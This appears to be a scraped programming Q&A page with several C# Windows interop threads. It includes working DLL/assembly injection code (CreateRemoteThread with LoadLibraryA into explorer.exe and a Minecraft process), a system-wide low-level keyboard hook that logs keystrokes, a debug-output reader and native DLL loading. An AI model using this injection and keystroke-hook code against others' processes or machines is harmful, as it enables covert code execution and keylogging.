Loading/Injecting .Net Assembly into existing .net process? - c#

In my situation i want to load a custom .net assembly into a running .net process's domain, for example Windows Explorer, What i have tried already is just injecting the assembly to explorer.exe but that doesn't seem to work for no obvious reason.
Injector Code:
public class CodeInjector
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttribute, IntPtr dwStackSize, IntPtr lpStartAddress,
IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
private static CodeInjector _instance;
public static CodeInjector GetInstance
{
get { return _instance ?? (_instance = new CodeInjector()); }
}
public InjectionResult Inject(string sProcName, string sDllPath)
{
if (!File.Exists(sDllPath))
{
return InjectionResult.DllNotFound;
}
var procs = Process.GetProcesses();
var procId = (from t in procs where t.ProcessName == sProcName select (uint)t.Id).FirstOrDefault();
if (procId == 0)
{
return InjectionResult.ProcessNotFound;
}
if (!Inject(procId, sDllPath))
{
return InjectionResult.InjectionFailed;
}
return InjectionResult.InjectionSucceed;
}
private static bool Inject(uint pToBeInjected, string sDllPath)
{
var hndProc = OpenProcess((0x2 | 0x8 | 0x10 | 0x20 | 0x400), 1, pToBeInjected);
if (hndProc == IntPtr.Zero)
{
return false;
}
var lpLlAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (lpLlAddress == IntPtr.Zero)
{
return false;
}
var lpAddress = VirtualAllocEx(hndProc, (IntPtr)null, (IntPtr)sDllPath.Length, (0x1000 | 0x2000), 0X40);
if (lpAddress == IntPtr.Zero)
{
return false;
}
var bytes = Encoding.ASCII.GetBytes(sDllPath);
if (WriteProcessMemory(hndProc, lpAddress, bytes, (uint)bytes.Length, 0) == 0)
{
return false;
}
if (CreateRemoteThread(hndProc, (IntPtr)null, IntPtr.Zero, lpLlAddress, lpAddress, 0, (IntPtr)null) == IntPtr.Zero)
{
return false;
}
CloseHandle(hndProc);
return true;
}
}

As another option you can use existing library - ManagedInjector - https://github.com/cplotts/snoopwpf/tree/master/ManagedInjector . There is a tool snoopwpf that can show details of any WPF process, and it uses process injection for that. I used it some time ago and it worked well.
You need to build it, add to your project as reference and call like this:
Injector.Launch(someProcess.MainWindowHandle,
typeof(Loader).Assembly.Location,
typeof(Loader).FullName,
"Inject");
Loader is name of type that will be loaded into process and Inject is a static method that will be executed. In my case i had:
public class Loader
{
public static void Inject()
{
// i did CBT Hook on main window here
// and also displayed sample message box for debugging purposes
MessageBox.Show("Hello from another process");
}
}
That ManagedInjector is written in Managed C++ code. Basically it hooks own unmanaged C++ method as MessageHookProc and it will start specified assembly after injection and run specified method. It should work fine for both managed and unmanaged programs. In my case i used it for unmanaged program.
UPDATE
I tested it locally and it successfully injects my message box into explorer process under Windows 8.1 x64. I compiled ManagedInjector64-4.0 and my sample console project also has x64 in platform selection. Here is my working code:
class Program
{
static void Main(string[] args)
{
var proc = Process.GetProcessesByName("explorer").FirstOrDefault();
Injector.Launch(proc.MainWindowHandle, typeof(Loader).Assembly.Location, typeof(Loader).FullName, "Inject");
}
}
public class Loader
{
public static void Inject()
{
MessageBox.Show("Hello");
Task.Run(() =>
{
Thread.Sleep(3000);
MessageBox.Show("Hello again");
Thread.Sleep(5000);
MessageBox.Show("Hello again again");
});
}
}

Related

Show external process debug output

I'm working on an application that is a sound editor for a video game.
This application has an option to test the sounds in the game, to do this I use Process.Start with some special parameters to open the game .exe.
The game uses OutputDebugStringA() to print debug messages. The idea is to have a multiline textbox inside this form to show the debug messages only of the game process.
I've been doing some research and I know about the existence of DebugView from sysinternals, but is not useful for this case, I've also found DbMon.NET in code project, but for some reason causes the game to run very slow (with DebugView doesn't happen).
Any proposal?
Try this, you can specify the process ID inside the do while loop before printing it in the textbox.
public partial class Form1 : Form
{
private readonly IntPtr _bufferReadyEvent;
private readonly IntPtr _dataReadyEvent;
private readonly IntPtr _mapping;
private readonly IntPtr _file;
private const int WaitTimeout = 500;
private const uint WAIT_OBJECT_0 = 0;
private readonly Thread _reader;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetEvent(IntPtr hEvent);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr CreateFileMapping(IntPtr hFile, IntPtr lpFileMappingAttributes, FileMapProtection flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr handle, uint milliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, FileMapAccess dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, uint dwNumberOfBytesToMap);
[Flags]
private enum FileMapAccess
{
FileMapRead = 0x0004,
}
[Flags]
private enum FileMapProtection
{
PageReadWrite = 0x04,
}
public Form1()
{
InitializeComponent();
_bufferReadyEvent = CreateEvent(IntPtr.Zero, false, false, "DBWIN_BUFFER_READY");
if (_bufferReadyEvent == IntPtr.Zero)
Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error());
_dataReadyEvent = CreateEvent(IntPtr.Zero, false, false, "DBWIN_DATA_READY");
if (_dataReadyEvent == IntPtr.Zero)
Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error());
_mapping = CreateFileMapping(new IntPtr(-1), IntPtr.Zero, FileMapProtection.PageReadWrite, 0, 4096, "DBWIN_BUFFER");
if (_mapping == IntPtr.Zero)
Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error());
_file = MapViewOfFile(_mapping, FileMapAccess.FileMapRead, 0, 0, 1024);
if (_file == IntPtr.Zero)
Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error());
_reader = new Thread(Read)
{
IsBackground = true
};
_reader.Start();
}
private void Read()
{
try
{
do
{
SetEvent(_bufferReadyEvent);
uint wait = WaitForSingleObject(_dataReadyEvent, WaitTimeout);
if (wait == WAIT_OBJECT_0) // we don't care about other return values
{
int pid = Marshal.ReadInt32(_file);
string text = Marshal.PtrToStringAnsi(new IntPtr(_file.ToInt32() + Marshal.SizeOf(typeof(int)))).TrimEnd(null);
if (string.IsNullOrEmpty(text))
{
continue;
}
Textbox_DebugConsole.Invoke((MethodInvoker)delegate
{
Textbox_DebugConsole.AppendText(string.Format("{0} - {1}", pid, text + Environment.NewLine));
});
}
}
while (true);
}
catch (Exception e)
{
MessageBox.Show(e.Message, Application.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}

GetThreadDescription() -> What is the proper declaration in C#?

What is the proper method declaration / DllImport for GetThreadDescription() for C#?
Here is what I have thus far:
[DllImport("kernel32.dll", SetLastError = true)]
public static extern UIntPtr GetThreadDescription(UIntPtr hThread, [Out, MarshalAs(UnmanagedType.LPWStr)] out string ppszThreadDescription);
[DllImport("kernel32.dll")]
static extern UIntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
public static void Suspend(this Process process)
{
foreach (ProcessThread thread in process.Threads)
{
var pOpenThread = OpenThread(ThreadAccess.SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == UIntPtr.Zero)
{
break;
}
string threaddescription = string.Empty;
GetThreadDescription(pOpenThread, out threaddescription);
System.Diagnostics.Debug.WriteLine("Thread Description: " + threaddescription);
SuspendThread(pOpenThread);
}
}
The string it returns is empty. Changing the MarshalAs to different types of strings has, thus far, yielded nothing. I checked pinvoke.net, and could not find it.

SetWindowsHookEx does not work in C# .net core?

I'm using the following code trying to get OS wide keyboard inputs with no luck:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
while(true)
continue;
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
HookCallback is simply not being called. I have a suspicion it's trying to listen only to a form which doesn't exist rather than running system wide.
Low-level Windows hooks internally use Windows messaging. The thread that calls SetWindowsHookEx must have the message loop in the end, which allows to call HookCallback function. In C++ message loop looks like this:
MSG msg;
BOOL result;
for (;;)
{
result = GetMessage(&msg, nullptr, 0, 0);
if (result <= 0)
{
break;
}
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Find all required PInvoke definitions for GetMessage, TranslateMessage, DispatchMessage and MSG, translate this code to C# and place it instead of your endless loop while(true). You can find all this stuff at PInvoke.Net, see also this Microsoft forum discussion:
Console keyboard hook not getting called
https://social.msdn.microsoft.com/Forums/vstudio/en-US/ed5be22c-cef8-4615-a625-d05caf113afc/console-keyboard-hook-not-getting-called?forum=csharpgeneral
I'm obviously very late but just hoping I could help (if the OP haven't have yet the help he/she needed) so I'm posting my answer.
It says in the MSDN documentation that when you want to set a system-wide hook, you must give the hMod parameter a
handle to the DLL containing the hook procedure pointed to by the lpfn
parameter
and
If the dwThreadId parameter is zero or specifies the identifier of a
thread created by a different process, the lpfn parameter must point
to a hook procedure in a DLL
but, look at this:
SetWindowsHookEx(2, kbdHookProc, GetModuleHandle("user32"), 0)
kbdHookProc is a function in my C# winforms application but the value I gave in the hMod parameter is the hinstance obtained by loading user32.dll via GetModuleHandle. I am using the keyboard hook (WH_KEYBOARD) to monitor locking of capslock, numlock and scroll lock keys. Don't ask me why I did that and would it work or why it works because I don't know but, yes, IT WORKS!
For a full answer to this;
As Alex says, you'll need a message loop to process windows messages and call your hooks,
public class MessageLoop
{
[DllImport("user32.dll")]
private static extern int GetMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin,
uint wMsgFilterMax);
[DllImport("user32.dll")]
private static extern bool TranslateMessage([In] ref MSG lpMsg);
[DllImport("user32.dll")]
private static extern IntPtr DispatchMessage([In] ref MSG lpmsg);
[StructLayout(LayoutKind.Sequential)]
public struct MSG
{
IntPtr hwnd;
uint message;
UIntPtr wParam;
IntPtr lParam;
int time;
POINT pt;
int lPrivate;
}
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public int X;
public int Y;
public POINT(int x, int y)
{
X = x;
Y = y;
}
public static implicit operator System.Drawing.Point(POINT p)
{
return new System.Drawing.Point(p.X, p.Y);
}
public static implicit operator POINT(System.Drawing.Point p)
{
return new POINT(p.X, p.Y);
}
public override string ToString()
{
return $"X: {X}, Y: {Y}";
}
}
private Action InitialAction { get; }
private Thread? Thread { get; set; }
public bool IsRunning { get; private set; }
public MessageLoop(Action initialAction)
{
InitialAction = initialAction;
}
public void Start()
{
IsRunning = true;
Thread = new Thread(() =>
{
InitialAction.Invoke();
while (IsRunning)
{
var result = GetMessage(out var message, IntPtr.Zero, 0, 0);
if (result <= 0)
{
Stop();
continue;
}
TranslateMessage(ref message);
DispatchMessage(ref message);
}
});
Thread.Start();
}
public void Stop()
{
IsRunning = false;
}
}
I use a separate thread here to avoid blocking the main thread.
The InterceptKeys class as shown in the question needs no modification;
class InterceptKeys
{
// ...
public static void Main()
{
var loop = new MessageLoop(() => {
_hookID = SetHook(_proc);
});
while (Console.ReadKey(true) != ConsoleKey.X) // For exemplary purposes
{
continue;
}
loop.Stop();
}
// ...
}

Error 6 when injecting DLL using C#

when I try to inject a DLL with C# into a java process (Minecraft specifically) I get an error "ERROR 6", I've been googling this error but couldnt find a solution.
The program is run in administrator mode, and it isnt trying to load from an admin path.
My code:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Launcher
{
internal class InjectionUtils
{
public struct CTX_PROCS
{
public Process[] procs;
}
private const int PROCESS_CREATE_THREAD = 2;
private const int PROCESS_QUERY_INFORMATION = 1024;
private const int PROCESS_VM_OPERATION = 8;
private const int PROCESS_VM_WRITE = 32;
private const int PROCESS_VM_READ = 16;
private const uint MEM_COMMIT = 4096u;
private const uint MEM_RESERVE = 8192u;
private const uint PAGE_READWRITE = 4u;
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint option);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
private static extern uint GetLastError();
private void MBox(string text)
{
InjectionUtils.MessageBox(IntPtr.Zero, text, "", 0u);
}
public void DoInjection(string dllPath)
{
InjectionUtils.CTX_PROCS cTX_PROCS = this.FindProcessByNameAndTitle("javaw", "Minecraft 1.7");
this.InjectDynamicLib(dllPath, cTX_PROCS.procs[0].Id);
}
public InjectionUtils.CTX_PROCS FindProcessByNameAndTitle(string processName, string title)
{
InjectionUtils.CTX_PROCS result = default(InjectionUtils.CTX_PROCS);
List<Process> list = new List<Process>();
Process[] processes = Process.GetProcesses();
for (int i = 0; i < processes.Length; i++)
{
Process process = processes[i];
if (process.ProcessName.Equals(processName) && process.MainWindowTitle.Contains(title))
{
list.Add(process);
}
}
result.procs = list.ToArray();
return result;
}
public void eject()
{
}
private bool InjectDynamicLib(string dllPath, int pId)
{
bool result = false;
IntPtr intPtr = InjectionUtils.OpenProcess(1082, false, pId);
uint num = (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char)));
if (intPtr != IntPtr.Zero)
{
IntPtr procAddress = InjectionUtils.GetProcAddress(InjectionUtils.GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr intPtr2 = InjectionUtils.VirtualAllocEx(intPtr, IntPtr.Zero, num, 12288u, 4u);
UIntPtr uIntPtr;
// Write path of dll to remote process
if (InjectionUtils.WriteProcessMemory(intPtr, intPtr2, Encoding.Default.GetBytes(dllPath), num, out uIntPtr))
{
InjectionUtils.CloseHandle(InjectionUtils.CreateRemoteThread(intPtr, IntPtr.Zero, 0u, procAddress, intPtr2, 0u, IntPtr.Zero));
result = true;
}
InjectionUtils.CloseHandle(intPtr);
}
if (InjectionUtils.GetLastError() != 0u)
{
this.MBox("ERROR " + InjectionUtils.GetLastError());
}
return result;
}
If anyone could help I would appreciate it dearly :)
Thanks in advance :D
From MSDN Error Code List:
ERROR_INVALID_HANDLE
0x6
Before you call GetLastError() you call CloseHandle() twice, once on the thread handle and on the process handle.
To find the problem just check the returns from OpenProcess() and CreateRemoteThread() and compare against the info you find in the functions documentation on MSDN.
For a simple no frills C# injector, this is the code I like to use which includes some error checking and uses the managed Process::Dispose() method instead of calling the native CloseHandle() at least on the process handle:
public static bool InjectDLL(string dllpath, string procname)
{
Process[] procs = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(procname));
if (procs.Length == 0)
{
return false;
}
Process proc = procs[0];
if (proc.Handle != IntPtr.Zero)
{
IntPtr loc = VirtualAllocEx(proc.Handle, IntPtr.Zero, MAX_PATH, AllocationType.Commit | AllocationType.Reserve,
MemoryProtection.ReadWrite);
if (loc.Equals(0))
{
return false;
}
IntPtr bytesRead = IntPtr.Zero;
bool result = WriteProcessMemory(proc.Handle, loc, dllpath.ToCharArray(), dllpath.Length, out bytesRead);
if (!result || bytesRead.Equals(0))
{
return false;
}
IntPtr loadlibAddy = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(proc.Handle, IntPtr.Zero, 0, loadlibAddy, loc, 0, out _);
if (!hThread.Equals(0))
{
CloseHandle(hThread);
}
else return false;
}
else return false;
//this will CloseHandle automatically using the managed method
proc.Dispose();
return true;
}
Make sure to run as admin and pinvoke any missing definitions.

How to dynamically load and unload a native DLL file?

I have a buggy third-party DLL files that, after some time of execution, starts throwing the access violation exceptions. When that happens I want to reload that DLL file. How do I do that?
Try this
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr LoadLibrary(string libname);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern bool FreeLibrary(IntPtr hModule);
//Load
IntPtr Handle = LoadLibrary(fileName);
if (Handle == IntPtr.Zero)
{
int errorCode = Marshal.GetLastWin32Error();
throw new Exception(string.Format("Failed to load library (ErrorCode: {0})",errorCode));
}
//Free
if(Handle != IntPtr.Zero)
FreeLibrary(Handle);
If you want to call functions first you must create delegate that matches this function and then use WinApi GetProcAddress
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
IntPtr funcaddr = GetProcAddress(Handle,functionName);
YourFunctionDelegate function = Marshal.GetDelegateForFunctionPointer(funcaddr,typeof(YourFunctionDelegate )) as YourFunctionDelegate ;
function.Invoke(pass here your parameters);
Create a worker process that communicates via COM or another IPC mechanism. Then when the DLL dies, you can just restart the worker process.
Load the dll, call it, and then unload it till it's gone.
I've adapted the following code from the VB.Net example here.
[DllImport("powrprof.dll")]
static extern bool IsPwrHibernateAllowed();
[DllImport("kernel32.dll")]
static extern bool FreeLibrary(IntPtr hModule);
[DllImport("kernel32.dll")]
static extern bool LoadLibraryA(string hModule);
[DllImport("kernel32.dll")]
static extern bool GetModuleHandleExA(int dwFlags, string ModuleName, ref IntPtr phModule);
static void Main(string[] args)
{
Console.WriteLine("Is Power Hibernate Allowed? " + DoIsPwrHibernateAllowed());
Console.WriteLine("Press any key to continue...");
Console.ReadKey();
}
private static bool DoIsPwrHibernateAllowed()
{
LoadLibraryA("powrprof.dll");
var result = IsPwrHibernateAllowed();
var hMod = IntPtr.Zero;
if (GetModuleHandleExA(0, "powrprof", ref hMod))
{
while (FreeLibrary(hMod))
{ }
}
return result;
}

Categories

Resources